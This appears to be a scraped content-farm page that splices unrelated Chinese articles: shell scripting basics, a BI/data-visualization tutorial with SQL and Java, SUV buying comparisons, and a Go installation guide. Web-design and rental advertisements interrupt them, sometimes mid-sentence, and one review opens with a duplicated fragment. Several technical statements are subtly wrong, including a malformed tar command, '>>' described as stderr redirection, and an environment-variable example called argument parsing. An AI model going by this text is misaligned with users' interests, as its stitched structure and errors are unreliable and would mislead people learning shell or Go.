窩窩以「數位行銷」「品牌經營」「網站與應用程式」「印刷品設計」等四大主軸,為每一位客戶客製建立行銷脈絡及洞燭市場先機。

hello, hello ! hello, hello} !
hello, hello ! hello, ${name} !
  1. 獲取字符串長度
string="abcd"
echo ${#string} #輸出 4
  1. 提取子字符串
string="hello world"
echo ${string:1:4}#輸出 ello
# 字符串下標從0開始
  1. 查找子字符串
string="hello world"
echo `expr index $string e`#輸出2

7.反引號和$()一樣,裏面的語句當作命令執行

shell數組

  1. 數組定義:arrname=(value0 value1 value3)
  2. 數組讀取:${arrname[]},中括號內為數組下標,從0開始
  3. 獲取數組長度:length=${#arrname[@]},*號也可以
  4. 或許數組單個元素的長度:lengthn=${#arrname[n]},n為數組下標

shell註釋

  1. 單行註釋:#
  2. 多行註釋:<<EOF以EOF結束,EOF可以是任意字母

shell傳遞參數

  1. 向腳本傳參
  • $0:執行的文件名
  • $1:為第一個參數
  • $2:為第二個參數 以此類推
  1. 特殊參數
  • $#:傳遞到腳本的參數個數
  • $$:腳本運行的當前進程ID
  • $!:後台運行的最後一個進程ID
  • $?:回傳碼,显示最後命令的退出狀態
  • $@,$*:显示所有傳遞的參數

shell運算符

  1. 算數運算符

假設變量a=10,b=20

運算符 說明 舉例
+ 加法 expr $a + $b 結果為 30。
減法 expr $a - $b 結果為 -10。
* 乘法 expr $a \* $b 結果為 200。
/ 除法 expr $b / $a 結果為 2。
% 取余 expr $b % $a 結果為 0。
= 賦值 a=$b 將把變量 b 的值賦給 a。
== 相等 用於比較兩個数字,相同則返回 true。 [ $a == $b ] 返回 false。
!= 不相等 用於比較兩個数字,不相同則返回 true。 [ $a != $b ] 返回 true。
  1. 關係運算符
運算符 說明 舉例
-eq 檢測兩個數是否相等,相等返回 true。 [ $a -eq $b ] 返回 false。
-ne 檢測兩個數是否不相等,不相等返回 true。 [ $a -ne $b ] 返回 true。
-gt 檢測左邊的數是否大於右邊的,如果是,則返回 true。 [ $a -gt $b ] 返回 false。
-lt 檢測左邊的數是否小於右邊的,如果是,則返回 true。 [ $a -lt $b ] 返回 true。
-ge 檢測左邊的數是否大於等於右邊的,如果是,則返回 true。 [ $a -ge $b ] 返回 false。
-le 檢測左邊的數是否小於等於右邊的,如果是,則返回 true。 [ $a -le $b ] 返回 true。
  1. 邏輯運算符
運算符 說明 舉例
&& 邏輯的 AND [[ $a -lt 100 && $b -gt 100 ]] 返回 false
|| 邏輯的 OR [[ $a -lt 100 || $b -gt 100 ]] 返回 true
  1. 布爾運算符
運算符 說明 舉例
! 非運算,表達式為 true 則返回 false,否則返回 true。 [ ! false ] 返回 true。
-o 或運算,有一個表達式為 true 則返回 true。 [ $a -lt 20 -o $b -gt 100 ] 返回 true。
-a 與運算,兩個表達式都為 true 才返回 true。 [ $a -lt 20 -a $b -gt 100 ] 返回 false
  1. 字符串運算符
    假設變量a=hello,b=world
運算符 說明 舉例
= 檢測兩個字符串是否相等,相等返回 true。 [ $a = $b ] 返回 false。
!= 檢測兩個字符串是否相等,不相等返回 true。 [ $a != $b ] 返回 true。
-z 檢測字符串長度是否為0,為0返回 true。 [ -z $a ] 返回 false。
-n 檢測字符串長度是否不為 0,不為 0 返回 true。 [ -n “$a” ] 返回 true。
$ 檢測字符串是否為空,不為空返回 true。 [ $a ] 返回 true
  1. 文件測試運算符
操作符 說明 舉例
-b file 檢測文件是否是塊設備文件,如果是,則返回 true。 [ -b $file ] 返回 false。
-c file 檢測文件是否是字符設備文件,如果是,則返回 true。 [ -c $file ] 返回 false。
-d file 檢測文件是否是目錄,如果是,則返回 true。 [ -d $file ] 返回 false。
-f file 檢測文件是否是普通文件(既不是目錄,也不是設備文件),如果是,則返回 true。 [ -f $file ] 返回 true。
-g file 檢測文件是否設置了 SGID 位,如果是,則返回 true。 [ -g $file ] 返回 false。
-k file 檢測文件是否設置了粘着位(Sticky Bit),如果是,則返回 true。 [ -k $file ] 返回 false。
-p file 檢測文件是否是有管道,如果是,則返回 true。 [ -p $file ] 返回 false。
-u file 檢測文件是否設置了 SUID 位,如果是,則返回 true。 [ -u $file ] 返回 false。
-r file 檢測文件是否可讀,如果是,則返回 true。 [ -r $file ] 返回 true。
-w file 檢測文件是否可寫,如果是,則返回 true。 [ -w $file ] 返回 true。
-x file 檢測文件是否可執行,如果是,則返回 true。 [ -x $file ] 返回 true。
-s file 檢測文件是否為空(文件大小是否大於0),不為空返回 true。 [ -s $file ] 返回 true。
-e file 檢測文件(包括目錄)是否存在,如果是,則返回 true。 [ -e $file ] 返回 true

流程控制

  1. if 語句語法格式:
if condition
then
    command1 
    command2
    ...
    commandN 
fi
  1. if else 語法格式:
if condition
then
    command1 
    command2
    ...
    commandN
else
    command
fi
  1. if else-if else 語法格式:
if condition1
then
    command1
elif condition2 
then 
    command2
else
    commandN
fi

for循環一般格式為:

for var in item1 item2 ... itemN
do
    command1
    command2
    ...
    commandN
done
  1. while 循環一般格式
while condition
do
    command
done
  1. until 循環一般格式
until condition
do
    command
done
  1. case in格式
case 值 in
模式1)
    command1
    command2
    ...
    commandN
    ;;
模式2)
    command1
    command2
    ...
    commandN
    ;;
esac
  1. 跳出循環:
  • break跳出所有循環
  • continue跳出當前循環

函數定義

輸入輸出重定向

  1. 文件描述符
  • 標準輸入 0
  • 標準輸出 1
  • 標準錯誤輸出 2
  1. stdin<file 標準輸入重定向
  2. stdout>file 標準輸出重定向
  3. stderr>>file 標準錯誤輸出重定向,以追加的方式

shell文件包含

  1. .filename
  2. source filename

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※推薦評價好的iphone維修中心

擁有專業的維修技術團隊,同時聘請資深iphone手機維修專家,現場說明手機問題,快速修理,沒修好不收錢

數據分析 | 數據可視化圖表,BI工具構建邏輯_潭子電動車

※超省錢租車方案

商務出差、學生出遊、旅遊渡假、臨時用車!GO 神州租賃有限公司!合法經營、合法連鎖、合法租賃小客車!

本文源碼:GitHub·點這裏 || GitEE·點這裏

一、數據可視化

1、基礎概念

數據可視化,是關於數據視覺表現形式的科學技術研究。其中,這種數據的視覺表現形式被定義為,一種以某種概要形式抽取出來的信息,包括相應信息單位的各種屬性和變量。

如果說的實際貼切的話:系統開發中常見的數據報表統計,將數據用圖表或表格的形式呈現出來,幫助運營或者決策人員了解這些數據的規律或者價值,就是簡單的可視化應用。

從開發角度來看,把系統中的核心數據,用一定的手段進行統計,在藉助一些精美的圖表樣式,展示出來,或者把一系列圖表組裝成一個數據大屏,格調十足。

但是從運營人員的角度看,更多的是藉助可視化數據分析業務場景,得到有價值的參考數據,為後續的決策或者開展活動提供指導。所以隨着業務線的不斷髮展,對數據分析的要求越來越高,也就誕生現在比較常見的BI分析工具和BI分析師。

2、數據可視化價值

  • 準確高效直觀的傳遞傳遞數據中的規律和信息;
  • 實時監控系統各項數據指標,實現數據的自解釋;
  • 基於可視化洞察數據規律,指定精準的運營策略;

3、基礎構建原則

簡單的步驟如下:基於業務需求,完成可視化數據處理(收集,規則,定時任務等)。藉助常用的圖表進行組合展示,但是也有一些注意事項如下:

  • 可視化的數據要關聯核心的有業務價值的數據;
  • 圖表的展現注意簡單,明了,圖表的本質就是讓數據更直觀;
  • 不要為了追求系統花哨,可以大批量添加圖表;

二、常用圖表設計

1、常見基礎圖表

柱狀圖

特點:一般展現分組數據,直觀展示各組數據差異,例如常見以每周,每月,或者不同客戶端劃分為軸的數據。

折線圖

特點:重點展現數據的變化趨勢,常見以時間為軸,展示時間下的數據趨勢。

餅狀圖

特點:不注重數據明細,強調數據中各項佔總體的百分比,或者分佈情況,注重模塊模塊之間的對比。

漏斗圖

特點:強調數據之間的轉化關係和遞進規律,經典常見就是用戶瀏覽量,點擊量,到訂單支付數量。

組合圖

特點:多種基礎圖表組合,某些特殊業務數據,需要結合兩種圖或者更多種圖表,強調裝載該業務報表的關鍵組合信息。

2、數據大屏

顧名思義,放在大屏幕的報表,一般有多種豐富的業務數據,自然需要多種報表展現形式,比較有立體感和視覺上的衝擊力。

絮叨一句:數據大屏在更多時候所追求的是讓人印象深刻,這才是最關鍵的,懂的都懂。

三、常用統計方式

1、SQL分析語句

在報表類業務中,經常使用SQL分析語句,常用的幾個方法:

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

有別於一般網頁架設公司,除了模組化的架站軟體,我們的營業主軸還包含:資料庫程式開發、網站建置、網頁設計、電子商務專案開發、系統整合、APP設計建置、專業網路行銷。

  • count:數據求和,求總數,例如多少用戶;
  • sum:求和函數,例如總銷量,總成本等;
  • group-by:分組統計,分組結果就是軸標識;
  • average:平均值計算,例如平均每天銷量;

業務類的報表雖然複雜,但是報表相關的數據接口相對而言簡單,基於一些基礎的統計SQL,生成報表數據。

2、基礎案例

產品和緯度表

CREATE TABLE `vc_product_info` (
  `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主鍵ID',
  `product_sort` varchar(20) DEFAULT '' COMMENT '產品分類',
  `product_name` varchar(50) DEFAULT '' COMMENT '產品名稱',
  `inventory` int(11) DEFAULT '0' COMMENT '庫存剩餘',
  `price` decimal(10,2) DEFAULT '0.00' COMMENT '單價',
  `total_sales` int(11) DEFAULT '0' COMMENT '銷售總量',
  `sales_amount` decimal(10,2) DEFAULT '0.00' COMMENT '銷售總額',
  `create_time` datetime DEFAULT NULL COMMENT '創建時間',
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='產品信息表';

CREATE TABLE `vc_product_detail` (
	`id` INT (11) NOT NULL AUTO_INCREMENT COMMENT '主鍵ID',
	`product_id` INT (11) NOT NULL COMMENT '產品ID',
	`place_origin` VARCHAR (50) DEFAULT '' COMMENT '產品產地',
	`weight` DECIMAL (10, 2) DEFAULT '0.00' COMMENT '重量',
	`color` VARCHAR (50) DEFAULT '' COMMENT '顏色',
	`high_praise` INT (11) DEFAULT '0' COMMENT '好評數量',
	`low_praise` INT (11) DEFAULT '0' COMMENT '差評數量',
	`create_time` datetime DEFAULT NULL COMMENT '創建時間',
	PRIMARY KEY (`id`)
) ENGINE = INNODB DEFAULT CHARSET = utf8 COMMENT = '產品維度表';

基礎查詢語句

<mapper namespace="com.visual.chart.mapper.ProductInfoMapper">

    <!-- 商品種類 -->
    <select id="countNum" resultType="java.lang.Integer">
        SELECT COUNT(product_name) FROM vc_product_info
    </select>

    <!-- 銷售總額度 -->
    <select id="sumAll" resultType="java.lang.Double">
        SELECT SUM(sales_amount) FROM vc_product_info
    </select>

    <!-- 分組求和 -->
    <select id="groupSum" resultType="java.util.Map">
        SELECT product_sort,SUM(sales_amount) FROM vc_product_info GROUP BY product_sort
    </select>

    <!-- 平均單價 -->
    <select id="average" resultType="java.lang.Double">
        SELECT AVG(price) FROM vc_product_info
    </select>
</mapper>

四、自定義工具

1、數據集

數據集概念

DataSet是一個數據的集合,通常以列表形式出現。每一列代表一個特定變量。每一行都對應於某一成員的數據集的問題。在統計分析的業務中,通常稱為大寬表,方便業務分析。

數據集生成

視圖方式

基於視圖的方式,生成一個單表的數據集,方便簡化操作。該方式不提倡,視圖在大部分公司里是禁止使用的,這裏只是單純演示。

基於上述產品信息表和維度表,通過視圖手段生成數據集,單純為了簡化業務分析的操作難度,因為多表聯合簡化成感覺上的單表。

CREATE OR REPLACE 
VIEW data_set_view AS SELECT
	t1.*, t2.place_origin,
	t2.weight,
	t2.color,
	t2.high_praise,
	t2.low_praise
FROM vc_product_info t1
LEFT JOIN vc_product_detail t2 ON t1.id = t2.product_id

任務方式

通過定時任務,獲取要分析的數據結構,不斷注入到分析表中,這是業務開發中最常見的報表數據集生成方式,有的甚至通過定時任務直接統計出報表需要的數據,不適應於大數據場景。

離線或實時計算

通過大數據分析手段,離線計算或者實時計算,獲取業務報表數據,注入OLAP實時分析計算庫,使用大數據分析場景。

2、定製化BI工具

BI工具可以快速對業務數據進行有效的整合,快速準確的提供報表並提出決策依據,幫助企業做出明智的業務經營決策。商業智能的概念最早在1996年提出。當時將商業智能定義為一類由數據倉庫(或數據集市)、查詢報表、數據分析、數據挖掘、數據備份和恢復等部分組成的、以幫助企業決策為目的技術及其應用。

基本搭建思路:

  • 管理數據源,建立數據表之間關係,維護特定數據集;
  • 創建可拖拉拽的報告面板,用來承載單個圖表組合;
  • 封裝不同的圖表的處理邏輯,規則展示,關聯數據集字段;
  • 封裝圖表樣式,例如大小、顏色、背景、交互等可配置;
  • 圖表關聯分析數據集,報告面板組合多個圖表生成報告;

實際的開發過程是非常複雜的,管理各個業務線的數據源,聯合分析,適配各種圖表規範和樣式,都是一個十分漫長的過程。

3、基礎案例

接口入參

承接上述業務場景,這裏參數都需要動態傳入,例如操作的:數據集、圖表、參數歸屬軸、或者業務產品參數等。

@RestController
public class DefineController {

    @Resource
    private DataSetService dataSetService ;
    /**
     * 自定義可視化報告入參
     */
    @GetMapping("/getDefChart")
    public Map<Integer, List<ChartParam>> getDefChart (){
        List<ChartParam> chartParamList = new ArrayList<>() ;
        chartParamList.add(new ChartParam("X",1,"data_set_view","product_sort")) ;
        chartParamList.add(new ChartParam("X",1,"data_set_view","product_name")) ;
        chartParamList.add(new ChartParam("Y",2,"data_set_view","high_praise")) ;
        chartParamList.add(new ChartParam("Y",2,"data_set_view","low_praise")) ;
        chartParamList.add(new ChartParam("Z",3,"data_set_view","inventory",1)) ;
        chartParamList.add(new ChartParam("Z",3,"data_set_view","total_sales",1)) ;
        return dataSetService.analyData(chartParamList);
    }
}

參數解析

根據各種動態參數,解析查詢條件,獲取查詢結果。

@Service
public class DataSetServiceImpl implements DataSetService {

    @Resource
    private DataSetMapper dataSetMapper ;
    // 分析任務劃分
    @Override
    public Map<Integer, List<ChartParam>> analyData(List<ChartParam> chartParamList) {
        Map<Integer, List<ChartParam>> dataMap = chartParamList.stream()
                                                 .collect(Collectors
                                                 .groupingBy(ChartParam::getDataType));
        for (Integer dataType:dataMap.keySet()){
            switch (dataType){
                case 1: // Count 風格數據
                    taskCount(dataMap.get(dataType));
                    break;
                case 2: // Sum 風格數據
                    taskSum(dataMap.get(dataType));
                    break;
                case 3: // Percent 風格數據
                    taskPercent(dataMap.get(dataType));
                    break;
                default:
                    break;
            }
        }
        return dataMap ;
    }
    // Count 數據執行
    private void taskCount (List<ChartParam> chartParamList){
        for (ChartParam chartParam:chartParamList){
            chartParam.setResultNum(dataSetMapper.taskCount(chartParam.getColumnName(),
                                                            chartParam.getTableName()));
        }
    }
    // Sum 數據執行
    private void taskSum (List<ChartParam> chartParamList){
        for (ChartParam chartParam:chartParamList){
            chartParam.setResultNum(dataSetMapper.taskSum(chartParam.getColumnName(),
                                                          chartParam.getTableName()));
        }
    }
    // Percent 數據執行
    private void taskPercent (List<ChartParam> chartParamList){
        for (ChartParam chartParam:chartParamList){
            chartParam.setResultNum(dataSetMapper.taskPercent(chartParam.getColumnName(),
                                                              chartParam.getTableName(),
                                                              chartParam.getProductId()));
        }
    }
}

總結一句:數據可視化工具建設是個漫長過程,不僅僅可以分析自己公司的業務,也可以作為開放BI工具產生價值。

五、源代碼地址

GitHub·地址
https://github.com/cicadasmile/data-manage-parent
GitEE·地址
https://gitee.com/cicadasmile/data-manage-parent

推薦閱讀:《架構設計系列》,蘿蔔青菜,各有所需

序號 標題
01 架構設計:單服務.集群.分佈式,基本區別和聯繫
02 架構設計:分佈式業務系統中,全局ID生成策略
03 架構設計:分佈式系統調度,Zookeeper集群化管理
04 架構設計:接口冪等性原則,防重複提交Token管理
05 架構設計:緩存管理模式,監控和內存回收策略

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

日本、大陸,發現這些先進的國家已經早就讓電動車優先上路,而且先進國家空氣品質相當好,電動車節能減碳可以減少空污

買誰都不吃虧 博越和RX5該如何選?_如何寫文案

※別再煩惱如何寫文案,掌握八大原則!

什麼是銷售文案服務?A就是幫你撰寫適合的廣告文案。當您需要販售商品、宣傳活動、建立個人品牌,撰寫廣告文案都是必須的工作。

0L兩款發動機,而且主力車型就是1。8T的動力裝配。吉利博越的1。8T發動機賬面參數是184ps馬力,最大扭矩285N。m,對比RX5 1。5T 169ps馬力和250N。m的峰值扭矩還是強了不少。配置博越的配置更加豐富1。8TD自動智慧型的吉利博越和 20T兩驅自動旗艦版的榮威RX5指導價格差價僅僅只是在1000元,而且兩車的配置都算不錯,操控配置更是完全一樣。

當下的汽車增長速度最快的車型無疑是SUV,無論是合資企業還是自主品牌車企對於SUV車型的研發力度也是非常巨大,同樣作為自主品牌,吉利博越和榮威RX5各自代表了目前各自品牌的最高技術,這兩款售價區間重疊明顯,同為國貨精品的SUV如何選擇?

我們拿出這兩台車售價最接近的細分配置車型進行對比;售價也符合當下眾多購車人士的預算訴求,十五萬以內:

吉利博越2016款1.8TD 自動智慧型,售價13.98萬

榮威RX5 2016款 20T 兩驅自動旗艦版,售價13.88萬

外觀

爭議頗大VS迎合主流

吉利博越到底好不好看?不同的人有不同的答案;吉利博越的外觀一直存在着爭議,主要的焦點集中於那採用自沃爾沃概念車的漣漪式前臉格柵。但是從辨識度上說,吉利博越是成功的,漣漪式前臉已經成為了吉利的家族標誌,精緻的設計風格已經為吉利樹立起了一種不錯的品牌形象。

榮威RX5的設計則是一種非常迎合當下審美潮流的風格,前臉進氣格柵線條流暢舒展,配合上矩陣式的燈組設計,層次豐富之下更體現出不少的細節處理。榮威RX5的車身運用了大量的黃金比例理念,將整車的視覺效果做到了很好的均衡,看過實車的人都會說,RX5是一款看上去很“大氣”的SUV。

內飾

各有千秋;博越設計感更豐富

在內飾層面小編個人是比較喜歡博越的內飾設計,運用了更多的柔和曲線設計,官方稱為西湖斷橋的元素,從使用上說,博越的內飾沒有為了體現設計感而喪失人機工程的實用性。功能性按鍵布局顯得清晰明確,操作起來也十分方便。

反觀榮威RX5,

※教你寫出一流的銷售文案?

銷售文案是什麼?A文案是廣告用的文字。舉凡任何宣傳、行銷、販賣商品時所用到的文字都是文案。在網路時代,文案成為行銷中最重要的宣傳方式,好的文案可節省大量宣傳資源,達成行銷目的。

第一眼看到榮威RX5的內飾我會想到大眾,整體設計以平實簡潔的路線為主,儘管在設計感上或許相比較於博越有一定的欠缺,但是在功能性空間表現性上也一樣有着很優秀的表現。

空間

榮威RX5空間更充裕

儘管兩台車的定位都是緊湊型SUV,但是榮威RX5的車身尺寸要比博越大了半圈,作為一款有着2700軸距的SUV車型,兩車從乘坐空間表現性上說榮威RX5要更勝一籌。

動力

博越的動力更加澎湃

榮威RX5搭載的是兩套動力總成,分別是1.5T和2.0T的渦輪增壓發動機,而吉利博越同樣也是兩套動力總成,但是1.8T以及2.0L兩款發動機,而且主力車型就是1.8T的動力裝配。

吉利博越的1.8T發動機賬面參數是184ps馬力,最大扭矩285N.m,對比RX5 1.5T 169ps馬力和250N.m的峰值扭矩還是強了不少。

配置

博越的配置更加豐富

1.8TD自動智慧型的吉利博越和 20T兩驅自動旗艦版的榮威RX5指導價格差價僅僅只是在1000元,而且兩車的配置都算不錯,操控配置更是完全一樣。

但是總體上來說博越的配置更加豐富,主要的是體現在安全性配置方面,博越搭載的前排側安全氣囊和前後頭部氣囊在名為旗艦版的榮威RX5身上並沒有裝配。

而在燈光配置方面,榮威RX5的配置則顯得有些寒酸了,原廠搭載的是鹵素光源,可以選裝LED,並且沒有霧燈標配,而這一點,價位幾乎相同的博越則有了更完善的裝備。

編輯總結:兩款車對比下來,更建議購買的還是吉利博越,榮威RX5更多的是以2.0T的車型作為主力車型向合資緊湊型SUV進行競爭,而1.5T的動力車型所搭載的配置則明顯的與2.0T車型拉開了差距。

榮威RX5的2.0T車型售價在16.68-18.68萬,從定價來說這個價格並不算低,儘管以互聯網為背景的科技性配置的確是一大亮點,但是更多的消費者更注重的是車內所能給予的實用性配置享受,而兩車相比,13.98萬的吉利博越1.8TD自動智慧型則更具有性價比。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

擁有後台管理系統的網站,將擁有強大的資料管理與更新功能,幫助您隨時新增網站的內容並節省網站開發的成本。

20萬預算買進口SUV 動力和個性化這三台都可以_網頁設計公司

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

一些細節方面,卡繽還是做得比較有意思的。副駕駛位的抽屜箱是橫拉打開,而非傳統的圓弧形打開,這樣駕駛員就可以在打開抽屜時,清楚看到裏面的東西。前排座椅後方用了五條限位繩來固定物品,而非傳統的網兜,這點我就覺得不慎實用。

斯巴魯XV

指導價:18.98—22.98萬

編者點評:

XV可能是這個價位區間中我們比較常見的進口SUV,以這個價格就能享受到水平對置發動機與全時四驅所帶來的快感,確實不賴。然而只有2.0L自然吸氣發動機+CVT變速箱,動力上難言充足,也僅僅是夠用而已。儘管跑得不夠快,但是有全時四驅的加持,操控性那是沒得說。

進入車廂內,XV給人的感覺比較嚴肅,到處都是黑色和銀色的內飾。不過,這也有一個好處,那就是比較耐臟。雖然整個內飾略簡單,但是從那些接線處細細一看還是能發現XV的做工有一種精緻范。

保養方面,按照4S店的建議,6萬公里下來的保養費用為10594元。這個價格就算是比較貴了,不過,想想要維護一台水平對置發動機,這又似乎變得不是那麼難以接受。

雷諾 卡繽

指導價:13.98—18.88萬

編者點評:

卡繽這台車可能很少有人聽說過,不過它可曾是歐洲小型SUV的銷量冠軍。能做冠軍肯定是有不少真材實料的。先從外形說起,卡繽採用了時下流行的雙色車身,而且都是明亮的色彩,車尾還可以選擇一些拉花,整台車看起來就是各種酷炫,相當討年輕人喜歡的風格。

動力總成方面,卡繽搭載的是1.2T渦輪增壓發動機+6速雙離合。1.2T的發動機最大功率為85KW,最大扭矩為190Nm。動力相對pSA那台1.2T發動機來說,是“書生”了一點點,不過卡繽也不是一台性能取向的車。

一些細節方面,卡繽還是做得比較有意思的。副駕駛位的抽屜箱是橫拉打開,而非傳統的圓弧形打開,

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

這樣駕駛員就可以在打開抽屜時,清楚看到裏面的東西。前排座椅後方用了五條限位繩來固定物品,而非傳統的網兜,這點我就覺得不慎實用。尾箱隔板有兩面,一面是常規的絨面,可以用來放置一些摩擦力較小的物品,防止滑動;另一面是光面,可以用來放一些比較容易弄髒的物品,這樣也便於清潔。在這點上,法國人還是想得比較細心。

保養方面,6萬公里中的保養費用為5926元。這樣的養護成本在同級別中,算是很便宜了。雷諾還給出了一個殺手鐧,那就是送車主10次免費更換機油和機油濾清器,這樣的待遇恐怕也沒哪個廠家敢給。

鈴木 吉姆尼

指導價:14.18—16.08萬

編者點評:

吉姆尼這台車是很多越野愛好者心中的完美伴侶,車身長度僅為3665mm,這樣短小精悍的車身造型可以很好地通過不少比較窄的路面,在城市中穿越也比較輕鬆,特別是在找停車位的時候,許多地方的停車位規劃並不完善,而且尺寸偏小。這時候,吉姆尼甚至比普通轎車還更容易泊進去。

不過,吉姆尼的安全配置就十分寒酸了,僅僅有ABS防抱死,連ESp都沒有。其他配置方面,也同樣乏善可陳。買回來要好好越野肯定是要先去改裝一下的,起碼給它裝兩把前橋和後橋的差速鎖。

吉姆尼的內飾可以說是樸實無華,一眼望去儘是各種塑料。話雖如此,但是它的塑料還是做得比較用心的。油耗方面,手動版的百公里平均油耗為7.7L,而自動版的則為9.3L。相差還是挺大的。可以看出,儘管吉姆尼的排量較低,但也不是一個省油的主。

除非你是一個越野愛好者,不然這台車在城市中也許只能帶給你較高的回頭率。

這三款車各有各的特點,XV算是進口車中比較常見的,卡繽則充滿陽光,相當有范,而吉姆尼顯然就屬於劍走偏鋒的類型。選擇一台進口車,同時也是選擇了另一種生活。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!

帶你學夠浪:Go語言基礎系列-環境配置和 Hello world_網頁設計公司

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!

文章每周持續更新,原創不易,「三連」讓更多人看到是對我最大的肯定。可以微信搜索公眾號「 後端技術學堂 」第一時間閱讀(一般比博客早更新一到兩篇)

前面幾周陸陸續續寫了一些後端技術的文章,包括數據庫、微服務、內存管理等等,我比較傾向於成體系的學習,所以數據庫和微服務還有後續系列文章補充。

最近工作上比較多的 Golang 編程,現在很多互聯網公司都在轉向 Golang 開發,所以打算寫一寫有關 Go 語言學習的系列文章,目標是從 Go 基礎到進階輸出一系列文章,沉澱下這些知識同時也給大家做參考,力求做到通俗易懂,即使你是 Golang 小白也能看懂,如果你是老手也能溫故知新。

本文將要和你分享 linux 下安裝 Golang 環境,並且講解如何通過配置 VSCode 遠程開發調試 Golang 程序。

下載源碼

你可以用系統自帶的包管理工具比如 yumapt-get 來安裝Golang開發環境。不過,為了通用性,我選擇通過源碼的方式來安裝和講解,在官網下載源碼,下載地址 https://golang.org/dl/

手動安裝

解壓安裝

我這裏下載下來的源碼包 go1.14.2.linux-amd64.tar.gz 放到遠程 Linux 服務器目錄下。執行以下命令安裝到 /usr/local 目錄。

tar -zxvf -C /usr/local/ `go1.14.2.linux-amd64.tar.gz`

創建工作空間

工作空間是你Go項目的「工作目錄」,挑選一個合適目錄,執行下面操作:

mkdir GoPath
mkdir -p GoPath/src
mkdir -p GoPath/bin
mkdir -p GoPath/pkg

三個目錄含義:

  src: 源碼路徑(例如:.go、.c、.h、.s 等)
  pkg: 編譯包時,生成的.a文件存放路徑
  bin: 編譯生成的可執行文件路徑

配置環境變量

安裝過程中有這麼幾個環境變量需要配置,先來了解一下:

GOROOT:Go的安裝路徑,也就是前面我們解壓到的目錄 /usr/local/go

GOBIN:Go項目的二進制文件存放目錄。

GOPATH:Go的工作空間。前面有介紹的工作空間目錄。

/etc/profile 文件追加以下內容完成設置。

export GOROOT=/usr/local/go
export GOPATH=/yourpath/GoPath # 設置你自己的GoPath路徑 
export GOBIN=$GOPATH/bin
export PATH=$PATH:$GOROOT/bin  # 加入到PATH環境變量
export PATH=$PATH:$GOPATH/bin
# source /etc/profile #立即生效

驗證安裝

# go version  #檢查版本
# go version go1.14.2 linux/amd64 # 輸出版本號

如果看到版本信息就代表安裝成功了!

遠程開發

上面我們在 Linux 環境下安裝好了 Golang 開發環境,但我不想每次打開終端登錄服務器編寫調試程序,怎麼才能在本地PC開發調試Golang程序呢?

看過我上一篇Vscode遠程開發的小夥伴應該能想到方法,我們就要用Vscode搭建Golang遠程開發環境。具體的遠程開發配置可以查看我的另一篇文章。

Golang開發插件

首先安裝官方推薦的 Go 開發插件,如下,點他安裝。

接着還會出現如下的提示,是因為缺少其他 Go 開發相關插件,點 install all 全都裝上就行。

Hello World

編程界有個慣例,什麼語言開始學習都是從 Hello World 開始。現在,我們就用 Golang 編寫第一個 HelloWorld 程序吧。

上代碼:

package main // 所有Go程序從main包開始運行

import "fmt" // 導入fmt包

func main() {
	fmt.Print("hello world", " i am ready to go :)\n")
	fmt.Println("hello world", "i am ready to go :)")
}

格式化 包

fmt 實現了類似 C++/C 語言的格式IO庫功能。

PrintPrintln 都可用於打印輸出,但是功能略有不同。可以看到我在Print 函數中,對后一個字符串加了空格和換行符,這樣兩個打印出來的結果是相同的。

Print

func Print(a ...interface{}) (n int, err error)

Print採用默認格式將其參數格式化並寫入標準輸出。如果兩個相鄰的參數都不是字符串,會在它們的輸出之間添加空格。返回寫入的字節數和遇到的任何錯誤。

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

Println

func Println(a ...interface{}) (n int, err error)

Println採用默認格式將其參數格式化並寫入標準輸出。總是會在相鄰參數的輸出之間添加空格並在輸出結束后添加換行符。返回寫入的字節數和遇到的任何錯誤。

調試

終端調試

在終端命令行源碼所在目錄輸入go run 運行程序。


# go run HelloWorld.go 
//輸出
hello world i am ready to go :)
hello world i am ready to go :)

也可以先編譯go build 得到可執行文件后再運行。

# go build HelloWorld.go 
# ls
HelloWorld  HelloWorld.go
# ./HelloWorld 
hello world i am ready to go :)
hello world i am ready to go :)

Vscode調試

F5啟動調試,編輯與調試控制台輸出如下:

命令行參數獲取

命令行參數可以通過os 包的 Args 函數獲取,代碼如下:

package main

import (
	"fmt"
	"os"
	"strconv"
)

func main() {
	// 命令行參數獲取,os.Args第一個參數是程序自身
	fmt.Println(os.Args)
	for idx, args := range os.Args {
		fmt.Println("參數"+strconv.Itoa(idx)+":", args)
	}
}

終端設置

以下是帶參數argv1 argv2 運行golang程序和輸出。

# go run basic.go argv1 argv2 

# 輸出
[/tmp/go-build441686724/b001/exe/basic argv1 argv2]
參數0: /tmp/go-build441686724/b001/exe/basic
參數1: argv1
參數2: argv2

VSCode設置

launch.json文件的 args 屬性配置可以設置程序啟動調試的參數。

設置之後,按F5 啟動調試,就會在調試控制台輸出配置的參數。

環境變量獲取

命令行參數可以通過os 包的 Getenv 函數獲取,代碼如下:

package main

import (
	"fmt"
	"os"
)

func main() {
	// 獲取環境變量
	fmt.Println(os.Getenv("type"), os.Getenv("name"), os.Getenv("GOROOT"))
}

VSCode設置環境變量

